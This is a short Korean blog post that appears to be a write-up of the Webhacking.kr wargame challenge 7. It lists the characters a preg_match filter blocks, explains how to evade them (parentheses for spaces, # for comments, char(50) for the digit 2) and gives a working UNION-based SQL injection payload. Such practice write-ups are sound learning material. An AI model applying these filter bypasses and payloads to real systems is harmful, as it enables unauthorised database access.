Information Security/General Technique

Webhacking.kr 07번 - Basic Bypass Technique

hackcatml 2020. 2. 17. 20:47
반응형

소스코드는 다음과 같음.
val값에 쿼리를 담아 전달
data[0]==2 가 되면 문제해결
preg_match함수에 의해 필터링 되는 문자: 2, -, +, from, _, =, \s(white space), *, /


공백은 ()로 우회 가능, --우회는 #으로 가능, 숫자2는 char(50)으로 우회 가능.
select 문의 지정된 컬럼은 lv 한개이므로 "union select <원하는 값>" 구문으로 원하는 데이터 삽입 가능
우회 쿼리:
val=30)union(select(char(50)))%23

매번 쿼리를 날릴때마다 rand함수에 의해 1~5중 랜덤한 숫자 하나가 뽑힘
따라서 여러번 시도하면, 괄호가 한개인 select lv from chall7 where lv=($go) 에 걸릴 것이고,
그러면 select lv from chall7 where lv=(30)union(select(char(50)))%23)이 다음과 같이 실행되어 data[0]에 2가 삽입되면서 클리어
select lv from chall7 where lv=30 union select char(50)


반응형